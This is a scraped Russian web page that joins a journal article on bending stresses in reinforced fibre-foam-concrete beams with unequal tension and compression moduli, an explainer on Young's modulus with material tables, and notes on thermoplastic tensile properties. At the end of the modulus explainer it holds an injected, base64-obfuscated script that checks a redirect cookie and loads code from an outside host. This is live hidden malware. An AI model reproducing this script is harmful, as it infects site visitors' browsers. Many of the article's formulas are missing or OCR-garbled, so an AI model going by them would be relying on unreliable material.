Модуль упругости и прочность на сжатие

Учёт влияния отличия модулей упругости на сжатие и растяжение при расчёте на прочность армированных балок с заполнителем из фибропенобетона

В статье исследуется влияние на нормальные напряжения неравенства модуля Юнга на растяжение и сжатие при изгибе армированной балки. Получены формулы для определения изгибающих моментов, возникающих в арматуре, сжатой и растянутой зоны заполнителя. Найдены формулы для нормальных напряжений произвольно опёртой армированной балки, произвольного поперечного сечения и произвольно нагруженной изгибающими нагрузками. На примере армированной балки прямоугольного поперечного сечения показано определение нейтральной линии и максимальных напряжений.

Ключевые слова: армированная балка,модуль упругости,нормальное напряжения, бетон

05.23.17 — Строительная механика

При расчёте железобетонных балок рекомендуется рассчитывать их по предельным состояниям, считая, что во всей растянутой зоне нормальные растягивающие напряжения достигли предельного разрушающего значения [1]. Далее расчёт на прочность железобетонной балки проводится с учётом только сжатой зоны [2]. При этом считается, что модули упругости на растяжение E_p и модуль упругости при сжатии E_c одинаковы. На самом деле для некоторых видов бетона, например для фибропенобетона, E_p ≠ E_c [3].

Целью данной работы является выяснить как влияет на прочность армированных балок учет отличия E_p и E_c для заполнителя [4,5].

Рассмотрим армированную бетонную балку произвольного поперечного сечения, произвольно опёртую и произвольно нагруженную изгибающими нагрузками, вызывающими плоский изгиб.

M_y — изгибающий момент относительно нейтральной линии в произвольном поперечном сечении балки,

n – число стержней арматуры,

I_a — осевой момент инерции поперечного сечения одного стержня арматуры,

M_a — изгибающий момент, возникающий в одном стержне арматуры,

E_a — модуль упругости при растяжении стержней арматуры,

M_б — изгибающий момент, возникающий в бетонной части балки,

M_б+ — изгибающий момент, возникающий в растягивающей части бетона,

E_б+ — модуль упругости бетона (заполнителя) при растяжении,

I_б+ — осевой момент инерции растягивающей части бетона,

M_б– — изгибающий момент, возникающий в сжимающей части бетона,

E_б– — модуль упругости бетона (заполнителя) при сжатии,

I_б– — осевой момент инерции сжимающей части бетона.

Найдём формулы для определения изгибающих моментов, возникающих в стержнях арматуры, сжатой и растянутой части бетона (заполнителя) [6]. Используя методы сопротивления материаловимеем следующую зависимость между изгибающими моментами [7,8]

(2), где

ρ_б+ — радиус кривизны растянутой зоны заполнителя (бетона),

ρ_б– — радиус кривизны сжатой зоны заполнителя (бетона),

ρ_a — радиус кривизны стержня арматуры,

ρ — радиус кривизны балки.

Формула радиуса кривизны имеет вид . Соответственно

(3)

Подставив (3) в (1), (2) , получим:

(4)

(5)

(6)

Найдём зависимость между нормальными напряжениями, возникающими в растягивающей и сжимающей зоне заполнителя (бетона) σ_б+, σ_б– и соответствующими изгибающими моментами [9].

Для заполнителей, у которых верен закон Гука σ = E·ε, можно использовать известные зависимости (7), (8) при выводе нормальных напряжений σ

(7)

Где A_б+, A_б– — площади поперечного сечения растянутой и сжимающей зоны заполнителя.

(8)

Подставив (8) в (7), найдём выражение для радиуса кривизны ρ нейтрального слоя:

(9)

Найдём выражения нормальных напряжений, возникающих в заполнителе, подставив (8) в (9).

(10)

(11)

Где z – расстояние от нейтральной линии 0y до точки, в которой определяется нормальное напряжение [10].

Для определения положения нейтральной линии воспользуемся условием:

Подставив (10), (11) в (12), получим выражение

и из этого выражения получаем формулу для определения положения нейтральной линии

(14)

Где I_yz+, I_yz– — центробежные моменты инерции относительно произвольных осей, но ось 0y перпендикулярна плоскости действия приложенных нагрузок.

Рассмотрим условие (13).

(15)

Где S_y+, S_y– — статические моменты инерции относительно нейтральной линии, совпадающей с осью 0y.

Для определения положения нейтральной линии из выражения (15) получаем:

(16)

Если ось 0z является главной осью, то условие (14) удовлетворяется тождественно и положение нейтральной линии определяется из условия (16).

Используя условие (16) и формулы (10),(11), найдём положение нейтральной линии и выражения максимальных растягивающих и сжимающих напряжений для армированных балок прямоугольного поперечного сечения:

,

, (17)

,

. (18)

Где h_p— высота растягивающейся зоны, h_c — высота сжимающейся зоны,

h = h_c + h_p — высота прямоугольного поперечного сечения балки.

Используя формулы (17), (18) для максимальных нормальных напряжений можно проводить расчёт на прочность как по допускаемым напряжениям, так и по предельным состояниям армированных балок прямоугольного поперечного сечения с любыми заполнителями, материал которых следует закону Гука. Таким требованиям, например, отвечает фибропенобетон .

Литература

1. Андреев В.И., Языев Б.М. Выпучивание продольно сжатых стержней переменной жесткости при ползучести// Инженерный вестник Дона, вып. 4(ч.2), 2012
2. Н. А. Бескопыльный, М. И. Кадомцев, А. А. Ляпин Методика исследования динамических воздействий на перекрытия пешеходного перехода при проезде транспорта // Инженерный вестник Дона, вып. 4, 2011f
3. Моргун Л.В., Смирнова П.В., Моргун В.Н., Богатина А.Ю. Конструкционные возможности фибропенобетона неавтоклавного твердения// Ж. «Строительные материалы», 2012, №4. – С.14…16.
4. Филин А.П. Прикладная механика твёрдого деформируемого тела. Т.1. — М. изд-во” Наука”, Гл. ред. физ.-мат. литературы, 1981.-832 с.
5. Кадомцева Е.Э. Прочность при ударе по составной балке. ”Строительство 2009”, Материалы юбилейной международной научно- практической конференции/Ростовский государственный строительный университет — Ростов-на-Дону: редакционно-издательский центр РГСУ, 2009.-228с.
6. Чепурненко А.С., Языев Б.М. Оптимизация формы поперечного сечения сжатых стержней из условия устойчивости//Научное обозрение. 2012. № 6. — С. 45-49.
7. Fabrikant V.I. Applications of Potential Theory in Mechanics. Selection of New Results. Kluwer, 1989 (djvu)
8. Fabrikant V.I. Mixed Boundary Value Problems of Potential Theory and thА. eir Applications in Engineering. Kluwer, 1991 (djvu)
9. Чепуренко А.С., Андреев В.И., Языев Б.М. Построение модели равнопрочной многопролётной балки // Инженерный вестник Дона, вып. 1, 2013
10. Языев Б.М. Устойчивость жесткого сетчатого полимерного стержня с учетом начальных несовершенств. – М.: Обозрение прикладной и промышленной математики, 2008, Том 15, вып. 2.

Учёт влияния отличия модулей упругости на сжатие и растяжение при расчёте на прочность армированных балок с заполнителем из фибропенобетона

Скачать эту статью

Поделиться ссылкой:

© Сетевой научный журнал
«Инженерный вестник Дона», издается с 2007 года

Издатель Северо-Кавказский научный центр высшей школы Южного федерального университета.

Учёт влияния отличия модулей упругости на сжатие и растяжение при расчёте на прочность армированных балок с заполнителем из фибропенобетона Текст научной статьи по специальности «Строительство и архитектура»

Аннотация научной статьи по строительству и архитектуре, автор научной работы — Кадомцева Елена Эдуардовна, Моргун Любовь Васильевна

В статье исследуется влияние на нормальные напряжения неравенства модуля Юнга на растяжение и сжатие при изгибе армированной балки. Получены формулы для определения изгибающих моментов, возникающих в арматуре, сжатой и растянутой зоны заполнителя. Найдены формулы для нормальных напряжений произвольно опёртой армированной балки, произвольного поперечного сечения и произвольно нагруженной изгибающими нагрузками. На примере армированной балки прямоугольного поперечного сечения показано определение нейтральной линии и максимальных напряжений.

i Надоели баннеры? Вы всегда можете отключить рекламу.

Похожие темы научных работ по строительству и архитектуре , автор научной работы — Кадомцева Елена Эдуардовна, Моргун Любовь Васильевна

Расчёт на прочность армированных балок с заполнителем из бимодульного материала с использованием различных теорий прочности

Исследование влияния коэффициента постели на НДС армированных балок с заполнителем из бимодульного материала на упругом основании

Напряженно-деформированное состояние армированной бимодульной балки при различных вариантах закрепления

Моделирование процесса деформирования и оценка долговечности армированной балки
Расчёт железобетонной арки с учётом ползучести бетона
i Не можете найти то, что вам нужно? Попробуйте сервис подбора литературы.
i Надоели баннеры? Вы всегда можете отключить рекламу.

Accounting for the effects of differences between the moduli of elasticity in compression and tension in the calculation of the strength of reinforced beams with filler of foamy fibrous concrete

The article investigates the impact on the normal stresses of inequality of the young modulus for tension and compression in the bending of reinforced beams. Obtained formulas for determination of the bending moments that arise in the fixture, compressed and stretched zone of the aggregate. Found the formula for the normal stresses arbitrarily supported reinforced beams, arbitrary cross section and arbitrarily loaded bending loads. For example, reinforced beams of rectangular cross-section shows the determination of the neutral line and maximum stresses.

Текст научной работы на тему «Учёт влияния отличия модулей упругости на сжатие и растяжение при расчёте на прочность армированных балок с заполнителем из фибропенобетона»

Учёт влияния отличия модулей упругости на сжатие и растяжение при расчёте на прочность армированных балок с заполнителем из

Е. Э. Кадомцева, Л.В. Моргун

При расчёте железобетонных балок рекомендуется рассчитывать их по предельным состояниям, считая, что во всей растянутой зоне нормальные растягивающие напряжения достигли предельного разрушающего значения [1]. Далее расчёт на прочность железобетонной балки проводится с учётом только сжатой зоны [2]. При этом считается, что модули упругости на растяжение Ер и модуль упругости при сжатии Ес одинаковы. На самом деле для некоторых видов бетона, например для фибропенобетона, Ер Ф Ес [3].

Целью данной работы является выяснить как влияет на прочность армированных балок учет отличия Ер и Ес для заполнителя [4,5].

Рассмотрим армированную бетонную балку произвольного поперечного сечения, произвольно опёртую и произвольно нагруженную изгибающими нагрузками, вызывающими плоский изгиб.

Му — изгибающий момент относительно нейтральной линии в произвольном поперечном сечении балки, п — число стержней арматуры,

1а- осевой момент инерции поперечного сечения одного стержня арматуры,

Ма — изгибающий момент, возникающий в одном стержне арматуры,

Еа — модуль упругости при растяжении стержней арматуры,

Мб — изгибающий момент, возникающий в бетонной части балки,

Мб+- изгибающий момент, возникающий в растягивающей части бетона,

Еб+ — модуль упругости бетона (заполнителя) при растяжении,

1б+ — осевой момент инерции растягивающей части бетона,

Мб— изгибающий момент, возникающий в сжимающей части бетона, Еб— модуль упругости бетона (заполнителя) при сжатии,

1б- — осевой момент инерции сжимающей части бетона.

Найдём формулы для определения изгибающих моментов, возникающих в стержнях арматуры, сжатой и растянутой части бетона (заполнителя) [6]. Используя методы сопротивления материалов, имеем следующую зависимость между изгибающими моментами [7,8]

Му = Мб+ + Мб- + п • Ма , где Мб = Мб+ + Мб- , (1)

Рб+ — радиус кривизны растянутой зоны заполнителя (бетона),

Рб- — радиус кривизны сжатой зоны заполнителя (бетона), ра — радиус кривизны стержня арматуры, р — радиус кривизны балки.

Формула радиуса кривизны имеет вид 1 = ^ . Соответственно 1 Мб+ 1 Мб- 1 ма

Рб+ Ед+ ‘1б+ Рб- Еб— б— Ра Еа щ1а

Подставив (3) в (1), (2) , получим:

Еб+ ‘1б++Еб— ‘1б—+п’Еа ‘1а Еб+ ‘1б+Еб— ‘!б—

Еб+ ‘1б++Еб— ‘1б—+п’Еа ‘1а Еб+ ‘1б+Еб— ‘!б—

Найдём зависимость между нормальными напряжениями, возникающими в растягивающей и сжимающей зоне заполнителя (бетона) 0б+0б- и соответствующими изгибающими моментами [9].

Для заполнителей, у которых верен закон Гука а = Е • £, можно использовать известные зависимости (7), (8) при выводе нормальных напряжений а.

Где Аб+, Аб- — площади поперечного сечения растянутой и сжимающей зоны заполнителя.

об_ = Еб_-£ = — , Об+ = Еб+-£ = — . (8)

Подставив (8) в (7), найдём выражение для радиуса кривизны р нейтрального слоя:

1 = ________Ёб______ (9)

Р Ед+ • 1б+ + Еб— • 1б—

Найдём выражения нормальных напряжений, возникающих в заполнителе, подставив (8) в (9).

Еб+ -!б+ + Еб— -!б— Еб+ -!б+ +Еб— — 1б—+п’Еа —

Мб — Еб+- г Му — Еб+- г

Еб+ -!б+ + Еб— -!б— Еб+ -!б+ +Еб— — 1б—+п’Еа -!а

Где ъ — расстояние от нейтральной линии 0у до точки, в которой определяется нормальное напряжение [10].

Для определения положения нейтральной линии воспользуемся условием:

I у-а аА = 0 (12), I а аА = 0 (13).

Подставив (10), (11) в (12), получим выражение

————-(Еб+ ■ 1У2+ + Еб- ■ 1Уг-) = 0 и из этого выражения получаем

формулу для определения положения нейтральной линии

Где 1уг+, 1уг- — центробежные моменты инерции относительно

произвольных осей, но ось 0у перпендикулярна плоскости действия приложенных нагрузок.

Рассмотрим условие (13).

Г о dA = Г аб+ ЛА + Г аб_ ЛА = ———————————(Еб+ ■ Бу+ +

3*б •)Аб+ б+ Аб— б Еб+ -1б+ + Еб— -1б—У б+ У+

Где Бу+, Бу- — статические моменты инерции относительно нейтральной линии, совпадающей с осью 0у.

Для определения положения нейтральной линии из выражения (15) получаем:

Если ось 0ъ является главной осью, то условие (14) удовлетворяется тождественно и положение нейтральной линии определяется из условия (16).

Используя условие (16) и формулы (10),(11), найдём положение нейтральной линии и выражения максимальных растягивающих и сжимающих напряжений для армированных балок прямоугольного поперечного сечения:

\ ™ахб+\ к-ь-П3 + (^)3-ь-Пз+п-3-(1+^й)3-Еа -1Г \ таху\> V /

\°тахб-\ = к,ь• + •ь-Ц3 + >п-Н1+Лс)з-Еа -Іа ‘ \Мтаху\- (I8)

Где Ир — высота растягивающейся зоны, Ис- высота сжимающейся зоны,

И = Ис + Ир — высота прямоугольного поперечного сечения балки.

Используя формулы (17), (18) для максимальных нормальных

напряжений можно проводить расчёт на прочность как по допускаемым напряжениям, так и по предельным состояниям армированных балок прямоугольного поперечного сечения с любыми заполнителями, материал которых следует закону Гука. Таким требованиям, например, отвечает фибропенобетон .

1. Андреев В.И., Языев Б.М. Выпучивание продольно сжатых стержней переменной жесткости при ползучести// Инженерный вестник Дона, вып. 4(ч.2), 2012

2. Н. А. Бескопыльный, М. И. Кадомцев, А. А. Ляпин Методика исследования динамических воздействий на перекрытия пешеходного перехода при проезде транспорта // Инженерный вестник Дона, вып. 4, 2011

3. Моргун Л.В., Смирнова П.В., Моргун В.Н., Богатина А.Ю. Конструкционные возможности фибропенобетона неавтоклавного твердения// Ж. «Строительные материалы», 2012, №4. — С.14. 16.

4. Филин А.П. Прикладная механика твёрдого деформируемого тела.

Т.1. — М. изд-во” Наука”, Гл. ред. физ.-мат. литературы, 1981.-832 с.

5. Кадомцева Е.Э. Прочность при ударе по составной балке.

’’Строительство 2009”, Материалы юбилейной международной научнопрактической конференции/Ростовский государственный

строительный университет — Ростов-на-Дону: редакционно-

издательский центр РГСУ, 2009.-228с.

6. Чепурненко А.С., Языев Б.М. Оптимизация формы поперечного сечения сжатых стержней из условия устойчивости//Научное обозрение. 2012. № 6. — С. 45-49.

7. Fabrikant V.I. Applications of Potential Theory in Mechanics. Selection of New Results. Kluwer, 1989 (djvu)

8. Fabrikant V.I. Mixed Boundary Value Problems of Potential Theory and ША. eir Applications in Engineering. Kluwer, 1991 (djvu)

9. Чепуренко А.С., Андреев В.И., Языев Б.М. Построение модели равнопрочной многопролётной балки // Инженерный вестник Дона, вып. 1, 2013

10.Языев Б.М. Устойчивость жесткого сетчатого полимерного стержня с учетом начальных несовершенств. — М.: Обозрение прикладной и промышленной математики, 2008, Том 15, вып. 2.

Модуль упругости (Модуль Юнга)

Если на изделие из определенного материала воздействовать некой силой, то он начинает сопротивляться этому действию: сжиматься, растягиваться или изгибаться. Способность к такому противостоянию можно оценить и выразить математически. Название этой прочностной характеристики – модуль упругости.

Параметр для каждого материала различный, и характеризует его прочность. Пользуются величиной при разработке конструкций, деталей и других изделий, с целью предотвращения нарушения их целостности.

Общее понятие

При любом внешнем воздействии на предмет, внутри его возникают встречные силы, компенсирующие внешние. Для идеальных систем, находящихся в равновесии, силы равномерно распределены и равны, что позволяет сохранить форму предмета. Реальные системы не подчиняются таким правилам, что может привести к их деформации. Оценивая прочность материалов, говорят об их упругости.

Упругие материалы – это те, которые после прекращения внешнего воздействия, восстанавливают свою первоначальную форму.

Внутренние силы распределены равномерно по всей площади поперечного сечения предмета, имеют свою интенсивность, которая выражается количественно, называется напряжением (р) и измеряется в Н/м 2 или по международной системе Па.

Напряжение имеет свою пространственную направленность: перпендикулярно площади сечения предмета – нормальное напряжение (σ_z) и лежащая в плоскости сечения – касательное напряжение (τ_z).

Модуль упругости (Е) как единицу измерения отношения материала к линейной деформации, и нормальное напряжение связывает формула закона Гука:

где ε – относительное удлинение или деформация.

Преобразовав формулу (1) для выражения из нее нормального напряжения, можно увидеть, что Е является постоянной при относительном удлинении, и называется коэффициентом жесткости, а его единицы измерения Па, кгс/мм 2 или Н/м 2 :

Модуль упругости – это единица измерения отношения напряжения, создаваемого в материале, к линейной деформации, такой как, растяжение и сжатие.

В справочных материалах размерность модуля упругости выражается в МПа, так как деформация имеет довольно малое значение. А зависимость между этими величинами обратно пропорциональная. Таким образом, Е имеет высокое значение, определяемое 107-109.

Способы расчета модуля упругости

Известны также и другие характеристики упругости, которые описывают сопротивление материалов к воздействиям как к линейным, так и отличным от них.

Величина, которая характеризует сопротивление материала к растяжению, то есть увеличению его длины вдоль оси, или к сжатию – сокращению линейного размера, называется модулем продольной упругости.

Обозначается как Е и выражается в Па или ГПа.

Показывает зависимость относительного удлинения от нормальной составляющей cилы (F) к ее площади распространения (S) и упругости (Е):

Параметр также называют модулем Юнга или модулем упругости первого рода, в таблице показаны величины для материалов различной природы.

Название материала	Значение параметра, ГПа
Алюминий	70
Дюралюминий	74
Железо	180
Латунь	95
Медь	110
Никель	210
Олово	35
Свинец	18
Серебро	80
Серый чугун	110
Сталь	190/210
Стекло	70
Титан	112
Хром	300

Модулем упругости второго рода называют модуль сдвига (G), который показывает сопротивление материала к сдвигающей силе (FG). Может быть выражена двумя способами.

• Через касательные напряжения (τ_z) и угол сдвига (γ):

• Через соотношение модуля упругости первого рода и коэффициента Пуасонна (ν):

Определенное в результате экспериментов значение сопротивления материала изгибу, называется модулем упругости при изгибе, и вычисляется следующим образом:

где F_р – разрушающая сила, Н;

L – расстояние между опорами, мм;

b, h – ширина и толщина образца, мм;

ƒ₁, ƒ₂– прогибы, образованные в результате нагрузки F₁ и F₂.

При равномерном давлении по всему объему на объект, возникает его сопротивление, называемое объемным модулем упругости или модулем сжатия (К). Выразить этот параметр можно, практически через все известные модули и коэффициент Пуассона.

Параметры Ламе также используют для описания оценки прочности материала. Их два μ – модуль сдвига и λ. Они помогают учитывать все изменения внутри материала в трехмерном пространстве, тогда соотношения между нормальным напряжением и деформацией будет выглядеть следующим образом:

σ = 2με + λtrace(ε)I (7)

Оба параметра могут быть выражены из следующих соотношений:

Модуль упругости различных материалов

Модули упругости для различных материалов имеют совершенно разные значения, которые зависят от:

• природы веществ, формирующих состав материала;
• моно- или многокомпонентный состав (чистое вещество, сплав и так далее);
• структуры (металлическая или другой вид кристаллической решетки, молекулярное строение прочее);
• плотности материала (распределения частиц в его объеме);
• обработки, которой он подвергался (обжиг, травление, прессование и тому подобное).

Так, например, в справочных данных можно найти, что модуль упругости для алюминия составляет диапазон от 61,8 до 73,6 ГПа. Видимо, это и зависит от состояния металла и вида обработки, потому как для отожженного алюминия модуль Юнга – 68,5 ГПа.

Его значение для бронзовых материалов зависит не только от обработки, но и от химического состава:

• бронза – 10,4 ГПа;
• алюминиевая бронза при литье – 10,3 ГПа;
• фосфористая бронза катанная – 11,3 ГПа.

Модуль Юнга латуни на много ниже – 78,5-98,1. Максимальное значение имеет катанная латунь.

Сама же медь в чистом виде характеризуется сопротивлением к внешним воздействиям значительно большим, чем ее сплавы – 128,7 ГПа. Обработка ее также снижает показатель, в том числе и прокатка:

• литая – 82 ГПа;
• прокатанная – 108 ГПа;
• деформированная – 112 ГПа;
• холоднотянутая – 127 ГПа.

Близким значением к меди обладает титан (108 ГПа), который считается одним из самых прочных металлов. А вот тяжелый, но ломкий свинец, показывает всего 15,7-16,2 ГПа, что сравнимо с прочностью древесины.

Для железа показатель напряжения к деформации также зависит от метода его обработки: литое – 100-130 или кованное – 196,2-215,8 ГПа.

Чугун известен своей хрупкостью имеет отношение напряжения к деформации от 73,6 до 150 ГПа, что соответствует от его виду. Тогда как для стали модуль упругости может достигать 235 ГПа.

На величины параметров прочности влияют также и формы изделий. Например, для стального каната проводят расчеты, где учитывают:

• его диаметр;
• шаг свивки;
• угол свивки.

Интересно, что этот показатель для каната будет значительно ниже, чем для проволоки такого же диаметра.

Стоит отметить прочность и не металлических материалов. Например, среди модулей Юнга дерева наименьший у сосны – 8,8 ГПа, а вот у группы твердых пород, которые объединены под названием «железное дерево» самый высокий – 32,5 ГПа, дуб и бук имеют равные показатели – 16,3 ГПа.

Среди строительных материалов, сопротивление к внешним силам у, казалось бы, прочного гранита всего 35-50 ГПа, когда даже у стекла – 78 ГПа. Уступают стеклу бетон – до 40 ГПа, известняк и мрамор, со значениями 35 и 50 ГПа соответственно.

Такие гибкие материалы, как каучук и резина, выдерживают осевую нагрузку от 0,0015 до 0,0079 ГПа.

Как определить модуль упругости стали

Выяснить модули упругости для различных марок стали можно несколькими путями:

1. по справочным данным из таблиц;
2. экспериментальными методами для небольшого образца;
3. расчетными методами, зная необходимые данные.

Жесткость стали зависит от ее химического состава и вида кристаллической решетки, от плотности, достигнутой в результате обработки. Прочность же ее конструкций определяется такими важными факторами, как параметры изделия, в том числе габариты, эксплуатационные нагрузки, и их длительность. При расчетах, выполняемых по нормированным методикам, результат осознанно завышают, чтобы предупредить возможные аварии и поломки.

Тем не менее, устойчивость стали к деформации определяется изначально ее маркой, то есть наличием примесей в сплаве.

В таблице приведены модули упругости стали наиболее популярных марок, а модуль сдвига ее составляет – 80-81 ГПа.

Сталь	Модуль (Е), ГПа
углеродистая	195-205
легированная	206-235
Ст.3, Ст.5	210
сталь 45	200
25Г2С, 30ХГ2С	200

Из таблицы видно, что наименьшее значение прочности у стали 45, 25Г2С, 30ХГ2С, а у нержавеющей стали самое высокое – 235 ГПа.

Экспериментальный метод определения заключается в определении относительного удлинения небольшого стального образца на установке, с последующим расчетом.

В основе метода лежит заключение, что растяжение образца стали до предела упругости, подчиняется закону Гука (1). Зная приложенную силу (F) и площадь детали (А), выяснив ее удлинение (Δl) можно рассчитать Е:

Расчеты ведут в мм и МПа.

Для проектирования конструкций необходимо всегда знать или просчитывать не менее двух разных модулей упругости. Исходя из коэффициента жесткости можно перейти к другим видам сопротивления к воздействию извне для стали: упругости при изгибе и объемной.

Грамотный подбор материала, с учетом его прочности при эксплуатации, а также другие конструкторские расчеты, — основа любого проектного и строительного процесса. Полнота представления протекающих процессов внутри материалов, поможет рационально их использовать и возводить безопасные сооружения. function getCookie(e)\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0>var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time)

Свойства упругости материала

Предел прочности при растяжении (Tensile Strength at Yield) — одна из наиболее важных характеристик термопластов, это сопротивление, которое материал оказывает на напряжение растяжения. Оно определяется как наименьшее напряжение растяжения (сила, деленная на единицу площади поперечного разреза), требуемое, чтобы начать растягивать предмет.

Измеренное усилие делится на площадь поперечного сечения образца, получаемая величина, измеряемая в Н/мм² (а также в мегапаскалях МПа или гигапаскалях ГПа) и называется пределом прочности при растяжении.

Определение данного параметра проводят по международной методике ISO 527-1 (Пластики: определение параметров упругости) на т.н. разрывных машинах.

Значение данного параметра для различных термопластов – см. здесь.

Предел прочности при разрыве

Данные показатель называют также разрывным усилием (Tensile Strength at Break, Breaking Strength) и он также характеризует сопротивление, которое материал оказывает на напряжение растяжения. Оно определяется как наименьшее напряжение растяжения (сила, деленная на единицу площади поперечного разреза), требуемое, чтобы разрушить предмет.

Измеренное усилие делится на площадь поперечного сечения образца, получаемая величина, измеряемая в Н/мм² (а также в мегапаскалях МПа или гигапаскалях ГПа) и называется пределом прочности при разрыве.

Определение данного параметра проводят по международной методике ISO 527-1 на т.н. разрывных машинах в рамках единого теста с определением предела прочности при растяжении.

Значение данного параметра для различных термопластов – см. здесь.

Относительное удлинение при разрыве

Относительное удлинение (Elongation at Break) характеризует величину деформаций материала при растяжении. Данный показатель измеряется как отношение величины деформации образца к его первоначальной длине и измеряется в %.

Определение данного параметра проводят по международной методике ISO 527-1 на т.н. разрывных машинах в ходе тестов по определению пределов прочности при растяжении и разрыве.

Значение данного параметра для различных термопластов – см. здесь.

При сопоставлении этих показателей можно заметить что материалы с высокой прочностью к растяжениям и разрывам, как правило, имеют низкие показатели относительного удлинения и наоборот. Это позволяет делить термопласты на «прочные», которые выдерживают высокие механические нагрузки, но быстро ломаются при наступлении деформаций; и эластичные, которые не так прочны, однако способны сохранять свои прочностные свойства при деформациях.

Модуль упругости при растяжении

Модуль упругости при растяжении (Modulus of elasticity at tension, E-modulus) определяют как отношение приращения механического напряжения к соответствующему приращению относительного удлинения. Данный параметр характеризует сопротивление материала растяжению и измеряется в Н/мм².

Помимо модуля упругости при растяжении, могут также измеряться модули упругости при сжатии и сгибе, однако для инженерных термопластов именно первый показатель наиболее важен и имеет практическое применение, в частности, при статическом расчете безнапорных сварных емкостей из термопластов по методике DVS-2205.

Испытания проводятся по методике ISO 527-1 на том же оборудовании что и предел прочности при растяжении/разрыве. В отечественной практике также используется ГОСТ 9550-81 (Пластики. Метод определения модуля упругости при растяжении, сжатии и изгибе.)

Значение данного параметра для различных термопластов – см. здесь.

Вложения

• 220406.jpg (22.2 Кб, Показов: 0)